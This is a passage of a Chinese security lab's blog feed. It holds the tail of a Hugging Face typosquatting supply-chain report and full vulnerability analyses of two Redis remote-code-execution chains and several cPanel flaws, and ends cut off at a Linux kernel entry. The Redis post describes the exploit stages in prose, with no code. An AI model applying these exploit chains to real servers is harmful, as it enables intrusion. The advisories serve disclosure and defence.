href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#32-%E5%A8%81%E8%83%81%E5%BD%92%E5%9B%A0\">​</a></h3>\n<ul>\n<li><strong>跨平台关联</strong>：与 npm 平台 typosquatting 攻击共享 loader 基础设施，分发 <code>WinOS 4.0</code> 植入程序</li>\n<li><strong>TTP 一致性</strong>：相同的代码结构、C2 通信模式及数据外泄格式</li>\n<li><strong>组织化特征</strong>：同一威胁行为体在多个开源生态系统同步运营</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-mitre-attck-映射\">4. MITRE ATT&amp;CK 映射<a class=\"hash-link\" aria-label=\"4. MITRE ATT&amp;CK 映射的直接链接\" title=\"4. MITRE ATT&amp;CK 映射的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#4-mitre-attck-%E6%98%A0%E5%B0%84\">​</a></h2>\n<table><thead><tr><th>战术阶段</th><th>技术 ID</th><th>技术名称</th></tr></thead><tbody><tr><td>初始访问</td><td>T1661</td><td>钓鱼攻击（社会工程）</td></tr><tr><td>初始访问</td><td>T1526</td><td>供应链攻陷</td></tr><tr><td>防御规避</td><td>T1562.001</td><td>禁用安全工具（SSL 验证、Defender 排除）</td></tr><tr><td>发现</td><td>T1592.004</td><td>收集受害者主机信息</td></tr><tr><td>数据外泄</td><td>T1041</td><td>通过 C2 信道外泄数据</td></tr></tbody></table>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-防御建议\">5. 防御建议<a class=\"hash-link\" aria-label=\"5. 防御建议的直接链接\" title=\"5. 防御建议的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#5-%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"51-事件响应措施\">5.1 事件响应措施<a class=\"hash-link\" aria-label=\"5.1 事件响应措施的直接链接\" title=\"5.1 事件响应措施的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#51-%E4%BA%8B%E4%BB%B6%E5%93%8D%E5%BA%94%E6%8E%AA%E6%96%BD\">​</a></h3>\n<ul>\n<li><strong>系统重置</strong>：重新映像受感染主机，清除持久化机制</li>\n<li><strong>凭证轮换</strong>：更换所有密码、API 密钥、SSH 密钥</li>\n<li><strong>资产保护</strong>：更换加密货币钱包及种子短语</li>\n<li><strong>会话失效</strong>：使浏览器令牌失效，重置双因素认证</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"52-开发安全实践\">5.2 开发安全实践<a class=\"hash-link\" aria-label=\"5.2 开发安全实践的直接链接\" title=\"5.2 开发安全实践的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#52-%E5%BC%80%E5%8F%91%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5\">​</a></h3>\n<ul>\n<li><strong>来源验证</strong>：安装模型前验证仓库官方性及发布者身份</li>\n<li><strong>签名验证</strong>：启用代码签名验证功能</li>\n<li><strong>环境隔离</strong>：在沙箱虚拟机中测试第三方模型</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-结论\">6. 结论<a class=\"hash-link\" aria-label=\"6. 结论的直接链接\" title=\"6. 结论的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#6-%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>此次事件揭示了开源 AI 生态系统面临的供应链安全挑战：</p>\n<ol>\n<li><strong>信任机制滥用</strong>：攻击者利用平台排名算法和社区信任进行大规模分发</li>\n<li><strong>技术成熟度</strong>：Sefirah 木马的反分析能力表明攻击工具的专业化趋势</li>\n<li><strong>跨平台威胁</strong>：威胁行为体正通过多平台运营扩大攻击面，需加强生态协同防御</li>\n</ol>",
            "url": "https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/",
            "title": "Hugging Face 供应链投毒事件分析：仿冒 OpenAI 仓库窃取敏感数据",
            "summary": "2026年5月7日，攻击者在 Hugging Face 平台通过 typosquatting 仿冒 OpenAI 仓库投递 Sefirah 信息窃取木马，导致约 244,000 次恶意下载。",
            "date_modified": "2026-05-07T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Supply Chain",
                "Threat Intelligence"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>2026年5月5日，Redis 数据库中两条远程代码执行利用链被公开披露：RESTORE 机制双重释放漏洞（CVE-2026-25243，CVSSv3 8.8）与主从同步 Lua 引擎释放后使用漏洞（CVE-2026-23631，CVSSv3 8.1）。前者源于 RESTORE 命令反序列化流程中验证器与转换器之间的字节长度解析歧义，可导致 zipmap 编码哈希及 Stream Consumer Group 对象的双重释放；后者利用单线程模型下 Lua 超时钩子与外部主节点 FULLRESYNC 指令的竞态交互，导致全局 Lua 解释器环境被销毁后仍被引用。经身份验证的攻击者在满足配置条件下可将两类内存破坏原语转化为任意内存读写能力，最终实现远程代码执行。本分析分别拆解两条利用链的技术原理与攻击路径。</p>\n<p><strong>关键词</strong>：Redis；双重释放；释放后使用；远程代码执行；RESTORE；Lua 沙箱</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>Redis 是广泛使用的内存键值数据库，其单线程事件驱动架构在提供高性能的同时，也引入了独特的安全边界设计——Lua 脚本沙箱、主从复制协议与序列化格式的交互构成了复杂的攻击面。CVE-2026-25243 与 CVE-2026-23631 分别从反序列化解析与主从同步协议两个维度突破了 Redis 的内存安全边界，且两条利用链均需身份验证作为前置条件，属于经认证的远程代码执行（Authenticated RCE）范畴。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-cve-2026-25243restore-双重释放漏洞\">2. CVE-2026-25243：RESTORE 双重释放漏洞<a class=\"hash-link\" aria-label=\"2. CVE-2026-25243：RESTORE 双重释放漏洞的直接链接\" title=\"2. CVE-2026-25243：RESTORE 双重释放漏洞的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#2-cve-2026-25243restore-%E5%8F%8C%E9%87%8D%E9%87%8A%E6%94%BE%E6%BC%8F%E6%B4%9E\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-restore-反序列化流程\">2.1 RESTORE 反序列化流程<a class=\"hash-link\" aria-label=\"2.1 RESTORE 反序列化流程的直接链接\" title=\"2.1 RESTORE 反序列化流程的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#21-restore-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%81%E7%A8%8B\">​</a></h3>\n<p>RESTORE 命令用于将序列化数据反序列化为 Redis 键值对象。其处理流程包含两个阶段：验证阶段（validator）对输入载荷进行格式与长度校验，转换阶段（converter）将验证通过的载荷转换为内部数据结构。两个阶段各自独立解析载荷的字节长度字段。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-验证器与转换器的长度歧义\">2.2 验证器与转换器的长度歧义<a class=\"hash-link\" aria-label=\"2.2 验证器与转换器的长度歧义的直接链接\" title=\"2.2 验证器与转换器的长度歧义的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#22-%E9%AA%8C%E8%AF%81%E5%99%A8%E4%B8%8E%E8%BD%AC%E6%8D%A2%E5%99%A8%E7%9A%84%E9%95%BF%E5%BA%A6%E6%AD%A7%E4%B9%89\">​</a></h3>\n<p>漏洞的核心在于验证器与转换器对同一载荷的字节长度解析逻辑存在不一致。当处理历史遗留的 zipmap 编码哈希以及 Stream Consumer Group 数据时，验证器按一种长度计算方式通过校验，而转换器按另一种方式解析实际数据，导致转换器写入的字节数超出验证器预期的缓冲区边界。</p>\n<p>这种长度歧义在特定载荷构造下可触发双重释放（double-free）：转换器在释放旧对象并分配新对象的过程中，因长度计算错误导致同一内存块被释放两次。攻击者通过精心构造的 RESTORE 载荷，利用 Jemalloc 内存分配器的确定性行为，将双重释放转化为堆块重叠（heap chunk overlap），建立任意内存读写原语。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-利用链\">2.3 利用链<a class=\"hash-link\" aria-label=\"2.3 利用链的直接链接\" title=\"2.3 利用链的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#23-%E5%88%A9%E7%94%A8%E9%93%BE\">​</a></h3>\n<p>利用链可分解为以下阶段：</p>\n<ol>\n<li><strong>载荷构造</strong>：构造包含 zipmap 编码哈希或 Stream Consumer Group 数据的恶意 RESTORE 载荷，触发验证器与转换器的长度歧义</li>\n<li><strong>双重释放触发</strong>：转换器释放旧对象时因长度错误导致同一内存块被重复释放</li>\n<li><strong>堆布局操控</strong>：通过连续 RESTORE 操作操控 Jemalloc 分配器的空闲链表，使新分配对象与已释放对象共享同一内存区域</li>\n<li><strong>任意内存读写</strong>：利用堆块重叠篡改对象内部指针或长度字段，建立任意地址读写通道</li>\n<li><strong>代码执行</strong>：篡改 Redis 内部函数指针或结合 Redis 重启时的持久化机制（RDB/AOF）实现代码执行</li>\n</ol>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-cve-2026-23631主从同步-lua-引擎释放后使用漏洞\">3. CVE-2026-23631：主从同步 Lua 引擎释放后使用漏洞<a class=\"hash-link\" aria-label=\"3. CVE-2026-23631：主从同步 Lua 引擎释放后使用漏洞的直接链接\" title=\"3. CVE-2026-23631：主从同步 Lua 引擎释放后使用漏洞的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#3-cve-2026-23631%E4%B8%BB%E4%BB%8E%E5%90%8C%E6%AD%A5-lua-%E5%BC%95%E6%93%8E%E9%87%8A%E6%94%BE%E5%90%8E%E4%BD%BF%E7%94%A8%E6%BC%8F%E6%B4%9E\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-单线程模型与超时钩子\">3.1 单线程模型与超时钩子<a class=\"hash-link\" aria-label=\"3.1 单线程模型与超时钩子的直接链接\" title=\"3.1 单线程模型与超时钩子的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#31-%E5%8D%95%E7%BA%BF%E7%A8%8B%E6%A8%A1%E5%9E%8B%E4%B8%8E%E8%B6%85%E6%97%B6%E9%92%A9%E5%AD%90\">​</a></h3>\n<p>Redis 采用单线程事件循环模型处理所有客户端请求。当执行长时间阻塞的慢 Lua 函数时，Redis 内部的超时钩子（timeout hook）会周期性调用事件循环以处理外部 I/O 任务，防止服务器在脚本执行期间完全无响应。这一设计在保证响应性的同时，引入了并发语义的复杂性——Lua 脚本的执行上下文与外部事件处理共享同一线程。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-fullresync-强制处理与-lua-环境销毁\">3.2 FULLRESYNC 强制处理与 Lua 环境销毁<a class=\"hash-link\" aria-label=\"3.2 FULLRESYNC 强制处理与 Lua 环境销毁的直接链接\" title=\"3.2 FULLRESYNC 强制处理与 Lua 环境销毁的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#32-fullresync-%E5%BC%BA%E5%88%B6%E5%A4%84%E7%90%86%E4%B8%8E-lua-%E7%8E%AF%E5%A2%83%E9%94%80%E6%AF%81\">​</a></h3>\n<p>漏洞的触发路径如下：</p>\n<ol>\n<li>攻击者通过 <code>SLAVEOF</code> 命令将目标 Redis 实例指定为外部恶意主节点的从节点</li>\n<li>攻击者在目标实例上执行长时间阻塞的慢 Lua 函数</li>\n<li>超时钩子在 Lua 执行间隙调用事件循环处理外部 I/O</li>\n<li>恶意主节点在同步期间发送 <code>FULLRESYNC</code> 指令，该指令在事件循环中被强制处理</li>\n<li><code>FULLRESYNC</code> 处理流程销毁并清空当前的全局 Lua 解释器环境（包括 Lua 虚拟机及堆栈结构）</li>\n<li>事件处理完毕，控制权交回原阻塞 Lua 函数继续执行</li>\n<li>此时底层 Lua 虚拟机及堆栈结构已沦为野指针，构成释放后使用（use-after-free）</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-沙箱逃逸路径\">3.3 沙箱逃逸路径<a class=\"hash-link\" aria-label=\"3.3 沙箱逃逸路径的直接链接\" title=\"3.3 沙箱逃逸路径的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#33-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E8%B7%AF%E5%BE%84\">​</a></h3>\n<p>释放后使用原语使攻击者可在 Lua 虚拟机已销毁的内存区域上执行操作。通过操控已释放内存的内容（结合堆喷射技术），攻击者可劫持 Lua 虚拟机的函数调用链，绕过 Redis 的 Lua 沙箱限制，执行任意系统命令。该利用链无需依赖特定内存分配器行为，仅利用 Redis 单线程模型下的事件处理时序即可触发。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-影响范围\">4. 影响范围<a class=\"hash-link\" aria-label=\"4. 影响范围的直接链接\" title=\"4. 影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#4-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"41-受影响版本\">4.1 受影响版本<a class=\"hash-link\" aria-label=\"4.1 受影响版本的直接链接\" title=\"4.1 受影响版本的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#41-%E5%8F%97%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC\">​</a></h3>\n<table><thead><tr><th>版本系列</th><th>受影响范围</th><th>修复版本</th></tr></thead><tbody><tr><td>Redis 7.2.x</td><td>7.2.0 ≤ version &lt; 7.2.14</td><td>≥ 7.2.14</td></tr><tr><td>Redis 7.4.x</td><td>7.4.0 ≤ version &lt; 7.4.9</td><td>≥ 7.4.9</td></tr><tr><td>Redis 8.2.x</td><td>8.2.0 ≤ version &lt; 8.2.6</td><td>≥ 8.2.6</td></tr><tr><td>Redis 8.4.x</td><td>8.4.0 ≤ version &lt; 8.4.3</td><td>≥ 8.4.3</td></tr><tr><td>Redis 8.6.x</td><td>8.6.0 ≤ version &lt; 8.6.3</td><td>≥ 8.6.3</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"42-利用条件\">4.2 利用条件<a class=\"hash-link\" aria-label=\"4.2 利用条件的直接链接\" title=\"4.2 利用条件的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#42-%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6\">​</a></h3>\n<p>两条利用链均需攻击者通过 Redis 认证并具备相应命令执行权限。CVE-2026-25243 需要 <code>RESTORE</code> 命令权限；CVE-2026-23631 需要 <code>SLAVEOF</code> 及 <code>EVAL</code> 命令权限，且目标实例能够连接至攻击者控制的恶意主节点。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-修复方案\">5. 修复方案<a class=\"hash-link\" aria-label=\"5. 修复方案的直接链接\" title=\"5. 修复方案的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#5-%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88\">​</a></h2>\n<p>Redis 官方已在各版本系列发布修复更新：</p>\n<ul>\n<li>Redis 7.2.x → 升级至 7.2.14</li>\n<li>Redis 7.4.x → 升级至 7.4.9</li>\n<li>Redis 8.2.x → 升级至 8.2.6</li>\n<li>Redis 8.4.x → 升级至 8.4.3</li>\n<li>Redis 8.6.x → 升级至 8.6.3</li>\n</ul>\n<p>对于无法立即升级的环境，建议采取以下缓解措施：</p>\n<ul>\n<li>通过 <code>rename-command</code> 禁用 <code>RESTORE</code> 命令以阻断 CVE-2026-25243</li>\n<li>通过 <code>rename-command</code> 禁用 <code>SLAVEOF</code> / <code>REPLICAOF</code> 命令以阻断 CVE-2026-23631 的触发路径</li>\n<li>配置 <code>requirepass</code> 强密码认证并限制网络访问来源</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>CVE-2026-25243 与 CVE-2026-23631 分别从反序列化解析一致性与单线程事件处理并发语义两个维度暴露了 Redis 的内存安全边界缺陷。前者的长度歧义问题反映了序列化格式演进中验证逻辑与转换逻辑的耦合风险，后者的 Lua 环境生命周期管理缺陷则揭示了单线程模型中事件处理时序的隐蔽竞态。两条利用链均需身份验证作为前置条件，但一旦满足，均可实现从内存破坏到远程代码执行的完整攻击链。官方补丁已发布，建议受影响用户尽快完成版本升级。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] NIST NVD. \"CVE-2026-25243: Redis RESTORE Double-Free Vulnerability.\" <a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-25243\" target=\"_blank\" rel=\"noopener noreferrer\">https://nvd.nist.gov/vuln/detail/CVE-2026-25243</a></p>\n<p>[2] NIST NVD. \"CVE-2026-23631: Redis Master-Slave Sync Lua Engine Use-After-Free.\" <a href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-23631\" target=\"_blank\" rel=\"noopener noreferrer\">https://nvd.nist.gov/vuln/detail/CVE-2026-23631</a></p>",
            "url": "https://www.ce.ac.cn/blog/redis-multiple-rce-analysis/",
            "title": "Redis 多条远程代码执行利用链分析（CVE-2026-25243 / CVE-2026-23631）",
            "summary": "针对 Redis RESTORE 双重释放漏洞（CVE-2026-25243）与主从同步 Lua 引擎释放后使用漏洞（CVE-2026-23631）的技术分析，涵盖内存破坏原语构造与沙箱逃逸路径。",
            "date_modified": "2026-05-05T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Disclosure",
                "Research"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>本报告针对cPanel &amp; WHM主机控制面板近期披露的两批次高危安全漏洞（CVE-2026-2920x系列与CVE-2026-41940）进行分析。漏洞涉及<strong>认证绕过、任意文件读取、远程代码执行（RCE）及本地权限提升</strong>等多个攻击面，其组合利用可对服务器资产构成完整的控制链威胁。报告梳理了漏洞的技术细节、影响范围、关联的安全事件，并提出了相应的缓解与修复建议。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-漏洞技术细节分析\">1. 漏洞技术细节分析<a class=\"hash-link\" aria-label=\"1. 漏洞技术细节分析的直接链接\" title=\"1. 漏洞技术细节分析的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#1-%E6%BC%8F%E6%B4%9E%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82%E5%88%86%E6%9E%90\">​</a></h2>\n<p>近期发现的高危漏洞主要分为两个关联的安全事件。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"11-cve-2026-2920x系列漏洞2026年5月披露\">1.1 CVE-2026-2920x系列漏洞（2026年5月披露）<a class=\"hash-link\" aria-label=\"1.1 CVE-2026-2920x系列漏洞（2026年5月披露）的直接链接\" title=\"1.1 CVE-2026-2920x系列漏洞（2026年5月披露）的直接链��接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#11-cve-2026-2920x%E7%B3%BB%E5%88%97%E6%BC%8F%E6%B4%9E2026%E5%B9%B45%E6%9C%88%E6%8A%AB%E9%9C%B2\">​</a></h3>\n<p>cPanel官方近期发布了针对三个新漏洞的安全更新：</p>\n<ul>\n<li>\n<p><strong>CVE-2026-29201（CVSSv3评分：4.3）</strong></p>\n<ul>\n<li><strong>位置</strong>：<code>feature::LOADFEATUREFILE</code>管理命令。</li>\n<li><strong>原因</strong>：输入验证不完善。</li>\n<li><strong>影响</strong>：可通过路径遍历攻击，读取服务器文件系统上的任意文件。</li>\n</ul>\n</li>\n<li>\n<p><strong>CVE-2026-29202（CVSSv3评分：8.8）</strong></p>\n<ul>\n<li><strong>位置</strong>：<code>create_user</code> API接口的<code>plugin</code>参数。</li>\n<li><strong>原因</strong>：参数验证存在缺陷。</li>\n<li><strong>影响</strong>：经身份验证的攻击者可注入恶意Perl代码，实现远程代码执行（RCE）。</li>\n</ul>\n</li>\n<li>\n<p><strong>CVE-2026-29203（CVSSv3评分：8.8）</strong></p>\n<ul>\n<li><strong>位置</strong>：符号链接处理机制。</li>\n<li><strong>原因</strong>：<code>chmod</code>操作存在缺陷。</li>\n<li><strong>影响</strong>：可导致拒绝服务（DoS）攻击或本地权限提升。</li>\n</ul>\n</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"12-cve-2026-41940关联的已武器化漏洞\">1.2 CVE-2026-41940（关联的已武器化漏洞）<a class=\"hash-link\" aria-label=\"1.2 CVE-2026-41940（关联的已武器化漏洞）的直接链接\" title=\"1.2 CVE-2026-41940（关联的已武器化漏洞）的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#12-cve-2026-41940%E5%85%B3%E8%81%94%E7%9A%84%E5%B7%B2%E6%AD%A6%E5%99%A8%E5%8C%96%E6%BC%8F%E6%B4%9E\">​</a></h3>\n<p>在以上漏洞披露之际，网络安全社区正面临另一个已被活跃利用的cPanel漏洞：</p>\n<ul>\n<li><strong>CVE-2026-41940（CVSSv3评分：9.3）</strong>\n<ul>\n<li><strong>状态</strong>：已被美国网络安全和基础设施安全局（CISA）列入“已知被利用漏洞（KEV）”目录。</li>\n<li><strong>原因</strong>：cPanel &amp; WHM（版本11.40之后）登录流程中存在身份验证逻辑缺陷。</li>\n<li><strong>影响</strong>：允许远程攻击者完全绕过或操纵身份验证，获得未授权的控制面板访问权限。</li>\n</ul>\n</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-影响评估与威胁背景\">2. 影响评估与威胁背景<a class=\"hash-link\" aria-label=\"2. 影响评估与威胁背景的直接链接\" title=\"2. 影响评估与威胁背景的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#2-%E5%BD%B1%E5%93%8D%E8%AF%84%E4%BC%B0%E4%B8%8E%E5%A8%81%E8%83%81%E8%83%8C%E6%99%AF\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-影响范围\">2.1 影响范围<a class=\"hash-link\" aria-label=\"2.1 影响范围的直接链接\" title=\"2.1 影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#21-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h3>\n<ul>\n<li><strong>受影响的软件版本</strong>：CVE-2026-2920x系列漏洞影响多个受支持的cPanel &amp; WHM版本。官方已在以下版本中完成修复：<!-- -->\n<ul>\n<li>11.136.0.9</li>\n<li>11.134.0.25</li>\n<li>11.132.0.31</li>\n<li>及后续版本</li>\n<li>（WP Squared及旧版CentOS 6/CloudLinux 6系统的相应更新也已发布）</li>\n</ul>\n</li>\n<li><strong>暴露规模</strong>：据Shadowserver基金会监测，可能有<strong>数千台</strong>服务器实例面临风险。</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-关联威胁活动\">2.2 关联威胁活动<a class=\"hash-link\" aria-label=\"2.2 关联威胁活动的直接链接\" title=\"2.2 关联威胁活动的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#22-%E5%85%B3%E8%81%94%E5%A8%81%E8%83%81%E6%B4%BB%E5%8A%A8\">​</a></h3>\n<ul>\n<li>CVE-2026-41940漏洞的利用代码已被武器化，并作为0Day漏洞用于部署<strong>Mirai僵尸网络的变种</strong>。</li>\n<li>网络安全公司watchTowr报告指出，野外利用活动可追溯至今年二月。</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-缓解与修复建议\">3. 缓解与修复建议<a class=\"hash-link\" aria-label=\"3. 缓解与修复建议的直接链接\" title=\"3. 缓解与修复建议的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#3-%E7%BC%93%E8%A7%A3%E4%B8%8E%E4%BF%AE%E5%A4%8D%E5%BB%BA%E8%AE%AE\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-紧急修补措施\">3.1 紧急修补措施<a class=\"hash-link\" aria-label=\"3.1 紧急修补措施的直接链接\" title=\"3.1 紧急修补措施的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#31-%E7%B4%A7%E6%80%A5%E4%BF%AE%E8%A1%A5%E6%8E%AA%E6%96%BD\">​</a></h3>\n<p>管理员应立即将cPanel &amp; WHM系统升级至已修复的版本（11.136.0.9、11.134.0.25、11.132.0.31或更高版本）。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-威胁检测与遏制\">3.2 威胁检测与遏制<a class=\"hash-link\" aria-label=\"3.2 威胁检测与遏制的直接链接\" title=\"3.2 威胁检测与遏制的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#32-%E5%A8%81%E8%83%81%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%81%8F%E5%88%B6\">​</a></h3>\n<ul>\n<li><strong>检测</strong>：建议使用cPanel官方或第三方安全机构（如watchTowr）发布的检测工具进行系统扫描。</li>\n<li><strong>访问控制</strong>：在无法立即应用补丁时，应通过防火墙策略限制对cPanel/WHM管理端口（如2083、2087）的公网访问。</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-安全监控\">3.3 安全监控<a class=\"hash-link\" aria-label=\"3.3 安全监控的直接链接\" title=\"3.3 安全监控的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#33-%E5%AE%89%E5%85%A8%E7%9B%91%E6%8E%A7\">​</a></h3>\n<p>建议持续关注cPanel官方安全公告及CISA等权威安全机构的漏洞通报。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>cPanel &amp; WHM控制面板相继爆出的高危漏洞，特别是已观测到活跃利用的CVE-2026-41940认证绕过漏洞与新近披露的CVE-2026-2920x系列漏洞，构成了严峻的叠加风险。系统管理员需立即采取行动，应用安全更新、加强访问控制并部署检测机制，以缓解潜在的数据泄露、服务瘫痪乃至服务器完全被控的安全事件。</p>",
            "url": "https://www.ce.ac.cn/blog/cpanel-whm-vulnerability-analysis-cve-2026/",
            "title": "关于cPanel & WHM控制面板高危安全漏洞的分析报告",
            "summary": "针对cPanel & WHM主机控制面板CVE-2026-2920x系列与CVE-2026-41940高危漏洞的技术分析，涉及认证绕过、任意文件读取、远程代码执行等攻击面。",
            "date_modified": "2026-05-01T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/cve-2026-race-condition-linux-kernel/",
